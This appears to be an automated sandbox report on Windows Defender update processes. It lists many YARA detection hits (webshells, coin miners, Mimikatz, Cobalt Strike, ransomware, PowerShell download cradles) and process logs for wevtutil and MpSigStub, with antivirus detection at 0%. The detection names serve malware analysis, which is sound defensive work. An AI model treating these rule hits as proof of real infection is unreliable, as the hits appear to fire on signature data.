00000023.00000003.18296064516.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.18296064516.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT_Backdoor_Win_GoRat_Memory, Description: Identifies GoRat malware in 
memory based on strings., Source: 
00000023.00000003.18351179947.0000015B1BCD0000.00000004.00000001.sdmp, 
Author: FireEye
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan 
copy.pdf.r11, Source: 
00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, 
Source: 
00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Avast Threat Intel Team
Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by 
encoding, Source: 
00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18288987987.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: HackTool_MSIL_SharPersist_2, Description: unknown, Source: 
00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
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00000023.00000003.18287592963.0000015B1BBD8000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18325517837.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.18325517837.0000015B1BF22000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18330638755.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.18330638755.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: APT_DeputyDog_Fexel, Description: unknown, Source: 
00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, 
Author: ThreatConnect Intelligence Research Team
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18316329497.0000015B1A504000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18316329497.0000015B1A504000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.18338385554.0000015B1B3CA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, 
Source: 
00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Avast Threat Intel Team
Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by 
encoding, Source: 
00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18336723789.0000015B1BAC0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: Hacktool_Strings_p0wnedShell, Description: p0wnedShell Runspace Post 
Exploitation Toolkit - file p0wnedShell.cs, Source: 
00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Suspicious_PowerShell_WebDownload_1, Description: Detects suspicious 
PowerShell code that downloads from web sites, Source: 
00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Msfpayloads_msf_psh, Description: Metasploit Payloads - file msf-psh.vba, Source: 
00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_Script_Obfuscation_Char_Concat, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Clop, Description: Yara detected Clop Ransomware, Source: 
00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Nemty, Description: Yara detected Nemty Ransomware, Source: 
00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
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commands, Source: 
00000023.00000003.18323868678.0000015B1BD96000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 
00000023.00000003.18323868678.0000015B1BD96000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18350449076.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.18350449076.0000015B1B6A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: GoldDragon_Aux_File, Description: Detects export from Gold Dragon - February 
2018, Source: 
00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18310362275.0000015B1B490000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.18310362275.0000015B1B490000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom 
tool, Source: 
00000023.00000003.18333848371.0000015B1A546000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_RemComRemoteAdmin, Description: Yara detected RemCom 
RemoteAdmin tool, Source: 
00000023.00000003.18333848371.0000015B1A546000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword 
obfuscated with carets, Source: 
00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, 
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Author: Florian Roth
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_Script_Obfuscation_Char_Concat, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18301965811.0000015B1AEB4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18335934182.0000015B1B858000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18331852304.0000015B1A84E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: APT_DeputyDog_Fexel, Description: unknown, Source: 
00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, 
Author: ThreatConnect Intelligence Research Team
Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 
00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT9002Strings, Description: 9002 Identifying Strings, Source: 
00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, 
Author: Seth Hardy
Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 
00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 
00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 
00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom 
tool, Source: 
00000023.00000003.18326028548.0000015B1ACB0000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.18285552638.0000015B1B281000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.18341450740.0000015B1B4D3000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.18310667601.0000015B1AD99000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.18310667601.0000015B1AD99000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: Tofu_Backdoor, Description: Detects Tofu Trojan, Source: 
00000023.00000003.18346153630.0000015B1AB4D000.00000004.00000001.sdmp, 
Author: Cylance

Antivirus matches: Detection: 0%, Metadefender, Browse
Detection: 0%, ReversingLabs
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File ActivitiesFile Activities

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 09:39:36

Start date: 12/10/2021

Path: C:\Windows\System32\wevtutil.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-
B49D-335D-ADBEBB78227A.man

Imagebase: 0x7ff684af0000

File size: 291840 bytes

MD5 hash: C57C1292650B6384903FE6408D412CFA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 09:39:36

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff771f00000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 09:39:38

Start date: 12/10/2021

Path: C:\Windows\System32\wevtutil.exe

Wow64 process (32bit): false

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: wevtutil.exe PID: 7380 Parent PID: 3224Analysis Process: wevtutil.exe PID: 7380 Parent PID: 3224

General

Analysis Process: conhost.exe PID: 7116 Parent PID: 7380Analysis Process: conhost.exe PID: 7116 Parent PID: 7380

General

Analysis Process: wevtutil.exe PID: 6888 Parent PID: 3224Analysis Process: wevtutil.exe PID: 6888 Parent PID: 3224

General
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Registry ActivitiesRegistry Activities

Commandline: C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-
B49D-335D-ADBEBB78227A.man '/resourceFilePath:C:\ProgramData\Microsoft\Windows D
efender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\
ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocatio
n\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definiti
on Updates\StableEngineEtwLocation\mpengine_etw.dll'

Imagebase: 0x7ff684af0000

File size: 291840 bytes

MD5 hash: C57C1292650B6384903FE6408D412CFA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Show Windows behavior

Show Windows behavior

Start time: 09:39:38

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff771f00000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 09:39:47

Start date: 12/10/2021

Path: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe

Wow64 process (32bit): false

Commandline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe

Imagebase: 0x7ff683680000

File size: 7855240 bytes

MD5 hash: 34B7B3BDFA61E18D3B2C3B0AC92B78EF

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 09:39:52

Start date: 12/10/2021

Path: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-
A600-CCB6F7611E7D\MpSigStub.exe

Key Value CreatedKey Value Created

Analysis Process: conhost.exe PID: 5224 Parent PID: 6888Analysis Process: conhost.exe PID: 5224 Parent PID: 6888

General

Analysis Process: mpam-f54ed867.exe PID: 4540 Parent PID: 7216Analysis Process: mpam-f54ed867.exe PID: 4540 Parent PID: 7216

General

Analysis Process: MpSigStub.exe PID: 7540 Parent PID: 4540Analysis Process: MpSigStub.exe PID: 7540 Parent PID: 4540

General
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Wow64 process (32bit): false

Commandline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-
CCB6F7611E7D\MpSigStub.exe /stub 1.1.18500.10 /payload 4.18.2109.6 /program C:
\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe

Imagebase: 0x7ff650ce0000

File size: 803176 bytes

MD5 hash: 01F92DC7A766FF783AE7AF40FD0334FB

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language
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